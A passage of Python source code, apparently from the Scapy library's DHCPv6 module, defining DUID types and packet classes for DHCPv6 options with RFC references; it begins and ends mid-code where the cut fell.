\"ADDR-REG-REPLY\",\n              }\n\n\n#####################################################################\n#                    DHCPv6 DUID related stuff                      #\n#####################################################################\n\nduidtypes = {1: \"Link-layer address plus time\",\n             2: \"Vendor-assigned unique ID based on Enterprise Number\",\n             3: \"Link-layer Address\",\n             4: \"UUID\"}\n\n# DUID hardware types - RFC 826 - Extracted from\n# http://www.iana.org/assignments/arp-parameters on 31/10/06\n# We should add the length of every kind of address.\nduidhwtypes = {0: \"NET/ROM pseudo\",  # Not referenced by IANA\n               1: \"Ethernet (10Mb)\",\n               2: \"Experimental Ethernet (3Mb)\",\n               3: \"Amateur Radio AX.25\",\n               4: \"Proteon ProNET Token Ring\",\n               5: \"Chaos\",\n               6: \"IEEE 802 Networks\",\n               7: \"ARCNET\",\n               8: \"Hyperchannel\",\n               9: \"Lanstar\",\n               10: \"Autonet Short Address\",\n               11: \"LocalTalk\",\n               12: \"LocalNet (IBM PCNet or SYTEK LocalNET)\",\n               13: \"Ultra link\",\n               14: \"SMDS\",\n               15: \"Frame Relay\",\n               16: \"Asynchronous Transmission Mode (ATM)\",\n               17: \"HDLC\",\n               18: \"Fibre Channel\",\n               19: \"Asynchronous Transmission Mode (ATM)\",\n               20: \"Serial Line\",\n               21: \"Asynchronous Transmission Mode (ATM)\",\n               22: \"MIL-STD-188-220\",\n               23: \"Metricom\",\n               24: \"IEEE 1394.1995\",\n               25: \"MAPOS\",\n               26: \"Twinaxial\",\n               27: \"EUI-64\",\n               28: \"HIPARP\",\n               29: \"IP and ARP over ISO 7816-3\",\n               30: \"ARPSec\",\n               31: \"IPsec tunnel\",\n               32: \"InfiniBand (TM)\",\n               33: \"TIA-102 Project 25 Common Air Interface (CAI)\"}\n\n\nclass _UTCTimeField(UTCTimeField):\n    def __init__(self, *args, **kargs):\n        epoch_2000 = (2000, 1, 1, 0, 0, 0, 5, 1, 0)  # required Epoch\n        UTCTimeField.__init__(self, epoch=epoch_2000, *args, **kargs)\n\n\nclass _LLAddrField(MACField):\n    pass\n\n# XXX We only support Ethernet addresses at the moment. _LLAddrField\n#     will be modified when needed. Ask us. --arno\n\n\nclass DUID_LLT(Packet):  # sect 9.2 RFC 3315\n    name = \"DUID - Link-layer address plus time\"\n    fields_desc = [ShortEnumField(\"type\", 1, duidtypes),\n                   XShortEnumField(\"hwtype\", 1, duidhwtypes),\n                   _UTCTimeField(\"timeval\", 0),  # i.e. 01 Jan 2000\n                   _LLAddrField(\"lladdr\", ETHER_ANY)]\n\n\nclass DUID_EN(Packet):  # sect 9.3 RFC 3315\n    name = \"DUID - Assigned by Vendor Based on Enterprise Number\"\n    fields_desc = [ShortEnumField(\"type\", 2, duidtypes),\n                   IntEnumField(\"enterprisenum\", 311, IANA_ENTERPRISE_NUMBERS),\n                   StrField(\"id\", \"\")]\n\n\nclass DUID_LL(Packet):  # sect 9.4 RFC 3315\n    name = \"DUID - Based on Link-layer Address\"\n    fields_desc = [ShortEnumField(\"type\", 3, duidtypes),\n                   XShortEnumField(\"hwtype\", 1, duidhwtypes),\n                   _LLAddrField(\"lladdr\", ETHER_ANY)]\n\n\nclass DUID_UUID(Packet):  # RFC 6355\n    name = \"DUID - Based on UUID\"\n    fields_desc = [ShortEnumField(\"type\", 4, duidtypes),\n                   UUIDField(\"uuid\", None, uuid_fmt=UUIDField.FORMAT_BE)]\n\n\nduid_cls = {1: \"DUID_LLT\",\n            2: \"DUID_EN\",\n            3: \"DUID_LL\",\n            4: \"DUID_UUID\"}\n\n#####################################################################\n#                     DHCPv6 Options classes                        #\n#####################################################################\n\n\nclass _DHCP6OptGuessPayload(Packet):\n    @staticmethod\n    def _just_guess_payload_class(cls, payload):\n        # try to guess what option is in the payload\n        if len(payload) <= 2:\n            return conf.raw_layer\n        opt = struct.unpack(\"!H\", payload[:2])[0]\n        clsname = dhcp6opts_by_code.get(opt, None)\n        if clsname is None:\n            return cls\n        return get_cls(clsname, cls)\n\n    def guess_payload_class(self, payload):\n        # this method is used in case of all derived classes\n        # from _DHCP6OptGuessPayload in this file\n        return _DHCP6OptGuessPayload._just_guess_payload_class(\n            DHCP6OptUnknown,\n            payload\n        )\n\n\nclass _DHCP6OptGuessPayloadElt(_DHCP6OptGuessPayload):\n    \"\"\"\n    Same than _DHCP6OptGuessPayload but made for lists\n    in case of list of different suboptions\n    e.g. in ianaopts in DHCP6OptIA_NA\n    \"\"\"\n    @classmethod\n    def dispatch_hook(cls, payload=None, *args, **kargs):\n        return cls._just_guess_payload_class(conf.raw_layer, payload)\n\n    def extract_padding(self, s):\n        return b\"\", s\n\n\nclass DHCP6OptUnknown(_DHCP6OptGuessPayload):  # A generic DHCPv6 Option\n    name = \"Unknown DHCPv6 Option\"\n    fields_desc = [ShortEnumField(\"optcode\", 0, dhcp6opts),\n                   FieldLenField(\"optlen\", None, length_of=\"data\", fmt=\"!H\"),\n                   StrLenField(\"data\", \"\",\n                               length_from=lambda pkt: pkt.optlen)]\n\n\ndef _duid_dispatcher(x):\n    cls = conf.raw_layer\n    if len(x) > 4:\n        o = struct.unpack(\"!H\", x[:2])[0]\n        cls = get_cls(duid_cls.get(o, conf.raw_layer), conf.raw_layer)\n    return cls(x)\n\n\nclass DHCP6OptClientId(_DHCP6OptGuessPayload):     # RFC 8415 sect 21.2\n    name = \"DHCP6 Client Identifier Option\"\n    fields_desc = [ShortEnumField(\"optcode\", 1, dhcp6opts),\n                   FieldLenField(\"optlen\", None, length_of=\"duid\", fmt=\"!H\"),\n                   PacketLenField(\"duid\", \"\", _duid_dispatcher,\n                                  length_from=lambda pkt: pkt.optlen)]\n\n\nclass DHCP6OptServerId(DHCP6OptClientId):     # RFC 8415 sect 21.3\n    name = \"DHCP6 Server Identifier Option\"\n    optcode = 2\n\n# Should be encapsulated in the option field of IA_NA or IA_TA options\n# Can only appear at that location.\n\n\nclass DHCP6OptIAAddress(_DHCP6OptGuessPayload):    # RFC 8415 sect 21.6\n    name = \"DHCP6 IA Address Option (IA_TA or IA_NA suboption)\"\n    fields_desc = [ShortEnumField(\"optcode\", 5, dhcp6opts),\n                   FieldLenField(\"optlen\", None, length_of=\"iaaddropts\",\n                                 fmt=\"!H\", adjust=lambda pkt, x: x + 24),\n                   IP6Field(\"addr\", \"::\"),\n                   IntEnumField(\"preflft\", 0, {0xffffffff: \"infinity\"}),\n                   IntEnumField(\"validlft\", 0, {0xffffffff: \"infinity\"}),\n                   # last field IAaddr-options is not defined in the\n                   # reference document. We copy what wireshark does: read\n                   # more dhcp6 options and excpect failures\n                   PacketListField(\"iaaddropts\", [],\n                                   _DHCP6OptGuessPayloadElt,\n                                   length_from=lambda pkt: pkt.optlen - 24)]\n\n    def guess_payload_class(self, payload):\n        return conf.padding_layer\n\n\nclass DHCP6OptIA_NA(_DHCP6OptGuessPayload):         # RFC 8415 sect 21.4\n    name = \"DHCP6 Identity Association for Non-temporary Addresses Option\"\n    fields_desc = [ShortEnumField(\"optcode\", 3, dhcp6opts),\n                   FieldLenField(\"optlen\", None, length_of=\"ianaopts\",\n                                 fmt=\"!H\", adjust=lambda pkt, x: x + 12),\n                   XIntField(\"iaid\", None),\n                   IntField(\"T1\", None),\n                   IntField(\"T2\", None),\n                   PacketListField(\"ianaopts\", [], _DHCP6OptGuessPayloadElt,\n                                   length_from=lambda pkt: pkt.optlen - 12)]\n\n\nclass DHCP6OptIA_TA(_DHCP6OptGuessPayload):         # RFC 8415 sect 21.5\n    name = \"DHCP6 Identity Association for Temporary Addresses Option\"\n    fields_desc = [ShortEnumField(\"optcode\", 4, dhcp6opts),\n                   FieldLenField(\"optlen\", None, length_of=\"iataopts\",\n                                 fmt=\"!H\", adjust=lambda pkt, x: x + 4),\n                   XIntField(\"iaid\", None),\n                   PacketListField(\"iataopts\", [], _DHCP6OptGuessPayloadElt,\n                                   length_from=lambda pkt: pkt.optlen - 4)]\n\n\n#    DHCPv6 Option Request Option                                   #\n\nclass _OptReqListField(StrLenField):\n    islist = 1\n\n    def i2h(self, pkt, x):\n        if not x:\n            return []\n        return x\n\n    def i2len(self, pkt, x):\n        return 2 * len(x)\n\n    def any2i(self, pkt, x):\n        return x\n\n    def i2repr(self, pkt, x):\n        s = []\n        for y in self.i2h(pkt, x):\n            if y in dhcp6opts:\n                s.append(dhcp6opts[y])\n            else:\n                s.append(\"%d\" % y)\n        return \"[%s]\" % \", \".join(s)\n\n    def m2i(self, pkt, x):\n        r = []\n        while len(x) != 0:\n            if len(x) < 2:\n                warning(\"Odd length for requested option field. Rejecting last byte\")  # noqa: E501\n                return r\n            r.append(struct.unpack(\"!H\", x[:2])[0])\n            x = x[2:]\n        return r\n\n    def i2m(self, pkt, x):\n        return b\"\".join(struct.pack('!H', y) for y in x)\n\n# A client may include an ORO in a solicit, Request, Renew, Rebind,\n# Confirm or Information-request\n\n\nclass DHCP6OptOptReq(_DHCP6OptGuessPayload):       # RFC 8415 sect 21.7\n    name = \"DHCP6 Option Request Option\"\n    fields_desc = [ShortEnumField(\"optcode\", 6, dhcp6opts),\n                   FieldLenField(\"optlen\", None, length_of=\"reqopts\", fmt=\"!H\"),  # noqa: E501\n                   _OptReqListField(\"reqopts\", [23, 24],\n                                    length_from=lambda pkt: pkt.optlen)]\n\n\n#    DHCPv6 Preference Option                                       #\n\n# emise par un serveur pour affecter le choix fait par le client. Dans\n# les messages Advertise, a priori\nclass DHCP6OptPref(_DHCP6OptGuessPayload):       # RFC 8415 sect 21.8\n    name = \"DHCP6 Preference Option\"\n    fields_desc = [ShortEnumField(\"optcode\", 7, dhcp6opts),\n                   ShortField(\"optlen\", 1),\n                   ByteField(\"prefval\", 255)]\n\n\n#    DHCPv6 Elapsed Time Option                                     #\n\nclass _ElapsedTimeField(ShortField):\n    def i2repr(self, pkt, x):\n        if x == 0xffff:\n            return \"infinity (0xffff)\"\n        return \"%.2f sec\" % (self.i2h(pkt, x) / 100.)\n\n\nclass DHCP6OptElapsedTime(_DHCP6OptGuessPayload):  # RFC 8415 sect 21.9\n    name = \"DHCP6 Elapsed Time Option\"\n    fields_desc = [ShortEnumField(\"optcode\", 8, dhcp6opts),\n                   ShortField(\"optlen\", 2),\n                   _ElapsedTimeField(\"elapsedtime\", 0)]\n\n\n#    DHCPv6 Authentication Option                                   #\n\n#    The following fields are set in an Authentication option for the\n#    Reconfigure Key Authentication Protocol:\n#\n#       protocol    3\n#\n#       algorithm   1\n#\n#       RDM         0\n#\n#    The format of the Authentication information for the Reconfigure Key\n#    Authentication Protocol is:\n#\n#      0                   1                   2                   3\n#      0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1\n#     +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n#     |     Type      |                 Value (128 bits)              |\n#     +-+-+-+-+-+-+-+-+                                               |\n#     .                                                               .\n#     .                                                               .\n#     .                                               +-+-+-+-+-+-+-+-+\n#     |                                               |\n#     +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n#\n#       Type    Type of data in Value field carried in this option:\n#\n#                  1   Reconfigure Key value (used in Reply message).\n#\n#                  2   HMAC-MD5 digest of the message (used in Reconfigure\n#                      message).\n#\n#       Value   Data as defined by field.\n\n# https://www.iana.org/assignments/auth-namespaces\n_dhcp6_auth_proto = {\n    0: \"configuration token\",\n    1: \"delayed authentication\",\n    2: \"delayed authentication (obsolete)\",\n    3: \"reconfigure key\",\n}\n_dhcp6_auth_alg = {\n    0: \"configuration token\",\n    1: \"HMAC-MD5\",\n}\n_dhcp6_auth_rdm = {\n    0: \"use of a monotonically increasing value\"\n}\n\n\nclass DHCP6OptAuth(_DHCP6OptGuessPayload):    # RFC 8415 sect 21.11\n    name = \"DHCP6 Option - Authentication\"\n    fields_desc = [ShortEnumField(\"optcode\", 11, dhcp6opts),\n                   FieldLenField(\"optlen\", None, length_of=\"authinfo\",\n                                 fmt=\"!H\", adjust=lambda pkt, x: x + 11),\n                   ByteEnumField(\"proto\", 3, _dhcp6_auth_proto),\n                   ByteEnumField(\"alg\", 1, _dhcp6_auth_alg),\n                   ByteEnumField(\"rdm\", 0, _dhcp6_auth_rdm),\n                   StrFixedLenField(\"replay\", b\"\\x00\" * 8, 8),\n                   StrLenField(\"authinfo\", \"\",\n                               length_from=lambda pkt: pkt.optlen - 11)]\n\n#    DHCPv6 Server Unicast Option                                   #\n\n\nclass _SrvAddrField(IP6Field):\n    def i2h(self, pkt, x):\n        if x is None:\n            return \"::\"\n        return x\n\n    def i2m(self, pkt, x):\n        return inet_pton(socket.AF_INET6, self.i2h(pkt, x))\n\n\nclass DHCP6OptServerUnicast(_DHCP6OptGuessPayload):  # RFC 8415 sect 21.12\n    name = \"DHCP6 Server Unicast Option\"\n    fields_desc = [ShortEnumField(\"optcode\", 12, dhcp6opts),\n                   ShortField(\"optlen\", 16),\n                   _SrvAddrField(\"srvaddr\", None)]\n\n\n#    DHCPv6 Status Code Option                                      #\n\ndhcp6statuscodes = {0: \"Success\",      # RFC 8415 sect 21.13\n                    1: \"UnspecFail\",\n                    2: \"NoAddrsAvail\",\n                    3: \"NoBinding\",\n                    4: \"NotOnLink\",\n                    5: \"UseMulticast\",\n                    6: \"NoPrefixAvail\"}  # From RFC3633\n\n\nclass DHCP6OptStatusCode(_DHCP6OptGuessPayload):  # RFC 8415 sect 21.13\n    name = \"DHCP6 Status Code Option\"\n    fields_desc = [ShortEnumField(\"optcode\", 13, dhcp6opts),\n                   FieldLenField(\"optlen\", None, length_of=\"statusmsg\",\n                                 fmt=\"!H\", adjust=lambda pkt, x:x + 2),\n                   ShortEnumField(\"statuscode\", None, dhcp6statuscodes),\n                   StrLenField(\"statusmsg\", \"\",\n                               length_from=lambda pkt: pkt.optlen - 2)]\n\n\n#    DHCPv6 Rapid Commit Option                                     #\n\nclass DHCP6OptRapidCommit(_DHCP6OptGuessPayload):   # RFC 8415 sect 21.14\n    name = \"DHCP6 Rapid Commit Option\"\n    fields_desc = [ShortEnumField(\"optcode\", 14, dhcp6opts),\n                   ShortField(\"optlen\", 0)]\n\n\n#    DHCPv6 User Class Option                                       #\n\nclass _UserClassDataField(PacketListField):\n    def i2len(self, pkt, z):\n        if z is None or z == []:\n            return 0\n        return sum(len(raw(x)) for x in z)\n\n    def getfield(self, pkt, s):\n        tmp_len = self.length_from(pkt)\n        lst = []\n        remain, payl = s[:tmp_len], s[tmp_len:]\n        while len(remain) > 0:\n            p = self.m2i(pkt, remain)\n            if conf.padding_layer in p:\n                pad = p[conf.padding_layer]\n                remain = pad.load\n                del pad.underlayer.payload\n            else:\n                remain = \"\"\n            lst.append(p)\n        return payl, lst\n\n\nclass USER_CLASS_DATA(Packet):\n    name = \"user class data\"\n    fields_desc = [FieldLenField(\"len\", None, length_of=\"data\"),\n                   StrLenField(\"data\", \"\",\n                               length_from=lambda pkt: pkt.len)]\n\n    def guess_payload_class(self, payload):\n        return conf.padding_layer\n\n\nclass DHCP6OptUserClass(_DHCP6OptGuessPayload):  # RFC 8415 sect 21.15\n    name = \"DHCP6 User Class Option\"\n    fields_desc = [ShortEnumField(\"optcode\", 15, dhcp6opts),\n                   FieldLenField(\"optlen\", None, fmt=\"!H\",\n                                 length_of=\"userclassdata\"),\n                   _UserClassDataField(\"userclassdata\", [], USER_CLASS_DATA,\n                                       length_from=lambda pkt: pkt.optlen)]\n\n\n#    DHCPv6 Vendor Class Option                                     #\n\nclass _VendorClassDataField(_UserClassDataField):\n    pass\n\n\nclass VENDOR_CLASS_DATA(USER_CLASS_DATA):\n    name = \"vendor class data\"\n\n\nclass DHCP6OptVendorClass(_DHCP6OptGuessPayload):  # RFC 8415 sect 21.16\n    name = \"DHCP6 Vendor Class Option\"\n    fields_desc = [ShortEnumField(\"optcode\", 16, dhcp6opts),\n                   FieldLenField(\"optlen\", None, length_of=\"vcdata\", fmt=\"!H\",\n                                 adjust=lambda pkt, x: x + 4),\n                   IntEnumField(\"enterprisenum\", None,\n                                IANA_ENTERPRISE_NUMBERS),\n                   _VendorClassDataField(\"vcdata\", [], VENDOR_CLASS_DATA,\n                                         length_from=lambda pkt: pkt.optlen - 4)]  # noqa: E501\n\n#    DHCPv6 Vendor-Specific Information Option                      #\n\n\nclass VENDOR_SPECIFIC_OPTION(_DHCP6OptGuessPayload):\n    name = \"vendor specific option data\"\n    fields_desc = [ShortField(\"optcode\", None),\n                   FieldLenField(\"optlen\", None, length_of=\"optdata\"),\n                   StrLenField(\"optdata\", \"\",\n                               length_from=lambda pkt: pkt.optlen)]\n\n    def guess_payload_class(self, payload):\n        return conf.padding_layer\n\n# The third one that will be used for nothing interesting\n\n\nclass DHCP6OptVendorSpecificInfo(_DHCP6OptGuessPayload):  # RFC 8415 sect 21.17\n    name = \"DHCP6 Vendor-specific Information Option\"\n    fields_desc = [ShortEnumField(\"optcode\", 17, dhcp6opts),\n                   FieldLenField(\"optlen\", None, length_of=\"vso\", fmt=\"!H\",\n                                 adjust=lambda pkt, x: x + 4),\n                   IntEnumField(\"enterprisenum\", None,\n                                IANA_ENTERPRISE_NUMBERS),\n                   _VendorClassDataField(\"vso\", [], VENDOR_SPECIFIC_OPTION,\n                                         length_from=lambda pkt: pkt.optlen - 4)]  # noqa: E501\n\n#    DHCPv6 Interface-ID Option                                     #\n\n# Repasser sur cette option a la fin. Elle a pas l'air d'etre des\n# masses critique.\n\n\nclass DHCP6OptIfaceId(_DHCP6OptGuessPayload):  # RFC 8415 sect 21.18\n    name = \"DHCP6 Interface-Id Option\"\n    fields_desc = [ShortEnumField(\"optcode\", 18, dhcp6opts),\n                   FieldLenField(\"optlen\", None, fmt=\"!H\",\n                                 length_of=\"ifaceid\"),\n                   StrLenField(\"ifaceid\", \"\",\n                               length_from=lambda pkt: pkt.optlen)]\n\n\n#    DHCPv6 Reconfigure Message Option                              #\n\n# A server includes a Reconfigure Message option in a Reconfigure\n# message to indicate to the client whether the client responds with a\n# renew message or an Information-request message.\nclass DHCP6OptReconfMsg(_DHCP6OptGuessPayload):       # RFC 8415 sect 21.19\n    name = \"DHCP6 Reconfigure Message Option\"\n    fields_desc = [ShortEnumField(\"optcode\", 19, dhcp6opts),\n                   ShortField(\"optlen\", 1),\n                   ByteEnumField(\"msgtype\", 11, {5: \"Renew Message\",\n                                                 11: \"Information Request\"})]\n\n\n#    DHCPv6 Reconfigure Accept Option                               #\n\n# A client uses the Reconfigure Accept option to announce to the\n# server whether the client is willing to accept Recoonfigure\n# messages, and a server uses this option to tell the client whether\n# or not to accept Reconfigure messages. The default behavior in the\n# absence of this option, means unwillingness to accept reconfigure\n# messages, or instruction not to accept Reconfigure messages, for the\n# client and server messages, respectively.\nclass DHCP6OptReconfAccept(_DHCP6OptGuessPayload):   # RFC 8415 sect 21.20\n    name = \"DHCP6 Reconfigure Accept Option\"\n    fields_desc = [ShortEnumField(\"optcode\", 20, dhcp6opts),\n                   ShortField(\"optlen\", 0)]\n\n\nclass DHCP6OptSIPDomains(_DHCP6OptGuessPayload):  # RFC3319\n    name = \"DHCP6 Option - SIP Servers Domain Name List\"\n    fields_desc = [ShortEnumField(\"optcode\", 21, dhcp6opts),\n                   FieldLenField(\"optlen\", None, length_of=\"sipdomains\"),\n                   DomainNameListField(\"sipdomains\", [],\n                                       length_from=lambda pkt: pkt.optlen)]\n\n\nclass DHCP6OptSIPServers(_DHCP6OptGuessPayload):  # RFC3319\n    name = \"DHCP6 Option - SIP Servers IPv6 Address List\"\n    fields_desc = [ShortEnumField(\"optcode\", 22, dhcp6opts),\n                   FieldLenField(\"optlen\", None, length_of=\"sipservers\"),\n                   IP6ListField(\"sipservers\", [],\n                                length_from=lambda pkt: pkt.optlen)]\n\n\nclass DHCP6OptDNSServers(_DHCP6OptGuessPayload):  # RFC3646\n    name = \"DHCP6 Option - DNS Recursive Name Server\"\n    fields_desc = [ShortEnumField(\"optcode\", 23, dhcp6opts),\n                   FieldLenField(\"optlen\", None, length_of=\"dnsservers\"),\n                   IP6ListField(\"dnsservers\", [],\n                                length_from=lambda pkt: pkt.optlen)]\n\n\nclass DHCP6OptDNSDomains(_DHCP6OptGuessPayload):  # RFC3646\n    name = \"DHCP6 Option - Domain Search List option\"\n    fields_desc = [ShortEnumField(\"optcode\", 24, dhcp6opts),\n                   FieldLenField(\"optlen\", None, length_of=\"dnsdomains\"),\n                   DomainNameListField(\"dnsdomains\", [],\n                                       length_from=lambda pkt: pkt.optlen)]\n\n\nclass DHCP6OptIAPrefix(_DHCP6OptGuessPayload):  # RFC 8415 sect 21.22\n    name = \"DHCP6 Option - IA Prefix option\"\n    fields_desc = [ShortEnumField(\"optcode\", 26, dhcp6opts),\n                   FieldLenField(\"optlen\", None, length_of=\"iaprefopts\",\n                                 adjust=lambda pkt, x: x + 25),\n                   IntEnumField(\"preflft\", 0, {0xffffffff: \"infinity\"}),\n                   IntEnumField(\"validlft\", 0, {0xffffffff: \"infinity\"}),\n                   ByteField(\"plen\", 48),  # TODO: Challenge that default value\n                                           # See RFC 8168\n                   IP6Field(\"prefix\", \"2001:db8::\"),  # At least, global and won't hurt  # noqa: E501\n                   # We copy what wireshark does: read more dhcp6 options and\n                   # expect failures\n                   PacketListField(\"iaprefopts\", [],\n                                   _DHCP6OptGuessPayloadElt,\n                                   length_from=lambda pkt: pkt.optlen - 25)]\n\n    def guess_payload_class(self, payload):\n        return conf.padding_layer\n\n\nclass DHCP6OptIA_PD(_DHCP6OptGuessPayload):  # RFC 8415 sect 21.21\n    name = \"DHCP6 Option - Identity Association for Prefix Delegation\"\n    fields_desc = [ShortEnumField(\"optcode\", 25, dhcp6opts),\n                   FieldLenField(\"optlen\", None, length_of=\"iapdopt\",\n                                 fmt=\"!H\", adjust=lambda pkt, x: x + 12),\n                   XIntField(\"iaid\", None),\n                   IntField(\"T1\", None),\n                   IntField(\"T2\", None),\n                   PacketListField(\"iapdopt\", [], _DHCP6OptGuessPayloadElt,\n                                   length_from=lambda pkt: pkt.optlen - 12)]\n\n\nclass DHCP6OptNISServers(_DHCP6OptGuessPayload):  # RFC3898\n    name = \"DHCP6 Option - NIS Servers\"\n    fields_desc = [ShortEnumField(\"optcode\", 27, dhcp6opts),\n                   FieldLenField(\"optlen\", None, length_of=\"nisservers\"),\n                   IP6ListField(\"nisservers\", [],\n                                length_from=lambda pkt: pkt.optlen)]\n\n\nclass DHCP6OptNISPServers(_DHCP6OptGuessPayload):  # RFC3898\n    name = \"DHCP6 Option - NIS+ Servers\"\n    fields_desc = [ShortEnumField(\"optcode\", 28, dhcp6opts),\n                   FieldLenField(\"optlen\", None, length_of=\"nispservers\"),\n                   IP6ListField(\"nispservers\", [],\n                                length_from=lambda pkt: pkt.optlen)]\n\n\nclass DHCP6OptNISDomain(_DHCP6OptGuessPayload):  # RFC3898\n    name = \"DHCP6 Option - NIS Domain Name\"\n    fields_desc = [ShortEnumField(\"optcode\", 29, dhcp6opts),\n                   FieldLenField(\"optlen\", None, length_of=\"nisdomain\"),\n                   DNSStrField(\"nisdomain\", \"\",\n                               length_from=lambda pkt: pkt.optlen)]\n\n\nclass DHCP6OptNISPDomain(_DHCP6OptGuessPayload):  # RFC3898\n    name = \"DHCP6 Option - NIS+ Domain Name\"\n    fields_desc = [ShortEnumField(\"optcode\", 30, dhcp6opts),\n                   FieldLenField(\"optlen\", None, length_of=\"nispdomain\"),\n                   DNSStrField(\"nispdomain\", \"\",\n                               length_from=lambda pkt: pkt.optlen)]\n\n\nclass DHCP6OptSNTPServers(_DHCP6OptGuessPayload):  # RFC4075\n    name = \"DHCP6 option - SNTP Servers\"\n    fields_desc = [ShortEnumField(\"optcode\", 31, dhcp6opts),\n                   FieldLenField(\"optlen\", None, length_of=\"sntpservers\"),\n                   IP6ListField(\"sntpservers\", [],\n                                length_from=lambda pkt: pkt.optlen)]\n\n\nIRT_DEFAULT = 86400\nIRT_MINIMUM = 600\n\n\nclass DHCP6OptInfoRefreshTime(_DHCP6OptGuessPayload):  # RFC4242\n    name = \"DHCP6 Option - Information Refresh Time\"\n    fields_desc = [ShortEnumField(\"optcode\", 32, dhcp6opts),\n                   ShortField(\"optlen\", 4),\n                   IntField(\"reftime\", IRT_DEFAULT)]  # One day\n\n\nclass DHCP6OptBCMCSDomains(_DHCP6OptGuessPayload):  # RFC4280\n    name = \"DHCP6 Option - BCMCS Domain Name List\"\n    fields_desc = [ShortEnumField(\"optcode\", 33, dhcp6opts),\n                   FieldLenField(\"optlen\", None, length_of=\"bcmcsdomains\"),\n                   DomainNameListField(\"bcmcsdomains\", [],\n                                       length_from=lambda pkt: pkt.optlen)]\n\n\nclass DHCP6OptBCMCSServers(_DHCP6OptGuessPayload):  # RFC4280\n    name = \"DHCP6 Option - BCMCS Addresses List\"\n    fields_desc = [ShortEnumField(\"optcode\", 34, dhcp6opts),\n                   FieldLenField(\"optlen\", None, length_of=\"bcmcsservers\"),\n                   IP6ListField(\"bcmcsservers\", [],\n                                length_from=lambda pkt: pkt.optlen)]\n\n\n_dhcp6_geoconf_what = {\n    0: \"DHCP server\",\n    1: \"closest network element\",\n    2: \"client\"\n}\n\n\nclass DHCP6OptGeoConfElement(Packet):\n    fields_desc = [ByteField(\"CAtype\", 0),\n                   FieldLenField(\"CAlength\", None, length_of=\"CAvalue\"),\n                   StrLenField(\"CAvalue\", \"\",\n                               length_from=lambda pkt: pkt.CAlength)]\n\n\nclass DHCP6OptGeoConf(_DHCP6OptGuessPayload):  # RFC 4776\n    name = \"DHCP6 Option - Civic Location\"\n    fields_desc = [ShortEnumField(\"optcode\", 36, dhcp6opts),\n                   FieldLenField(\"optlen\", None, length_of=\"ca_elts\",\n                                 adjust=lambda x: x + 3),\n                   ByteEnumField(\"what\", 2, _dhcp6_geoconf_what),\n                   StrFixedLenField(\"country_code\", \"FR\", 2),\n                   PacketListField(\"ca_elts\", [], DHCP6OptGeoConfElement,\n                                   length_from=lambda pkt: pkt.optlen - 3)]\n\n# TODO: see if we encounter opaque values from vendor devices\n\n\nclass DHCP6OptRemoteID(_DHCP6OptGuessPayload):  # RFC4649\n    name = \"DHCP6 Option - Relay Agent Remote-ID\"\n    fields_desc = [ShortEnumField(\"optcode\", 37, dhcp6opts),\n                   FieldLenField(\"optlen\", None, length_of=\"remoteid\",\n                                 adjust=lambda pkt, x: x + 4),\n                   IntEnumField(\"enterprisenum\", None,\n                                IANA_ENTERPRISE_NUMBERS),\n                   StrLenField(\"remoteid\", \"\",\n                               length_from=lambda pkt: pkt.optlen - 4)]\n\n\nclass DHCP6OptSubscriberID(_DHCP6OptGuessPayload):  # RFC4580\n    name = \"DHCP6 Option - Subscriber ID\"\n    fields_desc = [ShortEnumField(\"optcode\", 38, dhcp6opts),\n                   FieldLenField(\"optlen\", None, length_of=\"subscriberid\"),\n                   # subscriberid default value should be at least 1 byte long\n                   # but we don't really care\n                   StrLenField(\"subscriberid\", \"\",\n                               length_from=lambda pkt: pkt.optlen)]\n\n\nclass DHCP6OptClientFQDN(_DHCP6OptGuessPayload):  # RFC4704\n    name = \"DHCP6 Option - Client FQDN\"\n    fields_desc = [ShortEnumField(\"optcode\", 39, dhcp6opts),\n                   FieldLenField(\"optlen\", None, length_of=\"fqdn\",\n                                 adjust=lambda pkt, x: x + 1),\n                   BitField(\"res\", 0, 5),\n                   FlagsField(\"flags\", 0, 3, \"SON\"),\n                   DNSStrField(\"fqdn\", \"\",\n                               length_from=lambda pkt: pkt.optlen - 1)]\n\n\nclass DHCP6OptPanaAuthAgent(_DHCP6OptGuessPayload):  # RFC5192\n    name = \"DHCP6 PANA Authentication Agent Option\"\n    fields_desc = [ShortEnumField(\"optcode\", 40, dhcp6opts),\n                   FieldLenField(\"optlen\", None, length_of=\"paaaddr\"),\n                   IP6ListField(\"paaaddr\", [],\n                                length_from=lambda pkt: pkt.optlen)]\n\n\nclass DHCP6OptNewPOSIXTimeZone(_DHCP6OptGuessPayload):  # RFC4833\n    name = \"DHCP6 POSIX Timezone Option\"\n    fields_desc = [ShortEnumField(\"optcode\", 41, dhcp6opts),\n                   FieldLenField(\"optlen\", None, length_of=\"optdata\"),\n                   StrLenField(\"optdata\", \"\",\n                               length_from=lambda pkt: pkt.optlen)]\n\n\nclass DHCP6OptNewTZDBTimeZone(_DHCP6OptGuessPayload):  # RFC4833\n    name = \"DHCP6 TZDB Timezone Option\"\n    fields_desc = [ShortEnumField(\"optcode\", 42, dhcp6opts),\n                   FieldLenField(\"optlen\", None, length_of=\"optdata\"),\n                   StrLenField(\"optdata\", \"\",\n                               length_from=lambda pkt: pkt.optlen)]\n\n\nclass DHCP6OptRelayAgentERO(_DHCP6OptGuessPayload):  # RFC4994\n    name = \"DHCP6 Option - RelayRequest Option\"\n    fields_desc = [ShortEnumField(\"optcode\", 43, dhcp6opts),\n                   FieldLenField(\"optlen\", None, length_of=\"reqopts\",\n                                 fmt=\"!H\"),\n                   _OptReqListField(\"reqopts\", [23, 24],\n                                    length_from=lambda pkt: pkt.optlen)]\n\n\nclass DHCP6OptLQClientLink(_DHCP6OptGuessPayload):  # RFC5007\n    name = \"DHCP6 Client Link Option\"\n    fields_desc = [ShortEnumField(\"optcode\", 48, dhcp6opts),\n                   FieldLenField(\"optlen\", None, length_of=\"linkaddress\"),\n                   IP6ListField(\"linkaddress\", [],\n                                length_from=lambda pkt: pkt.optlen)]\n\n\nclass DHCP6NTPSubOptSrvAddr(Packet):  # RFC5908 sect 4.1\n    name = \"DHCP6 NTP Server Address Suboption\"\n    fields_desc = [ShortField(\"optcode\", 1),\n                   ShortField(\"optlen\", 16),\n                   IP6Field(\"addr\", \"::\")]\n\n    def extract_padding(self, s):\n        return b\"\", s\n\n\nclass 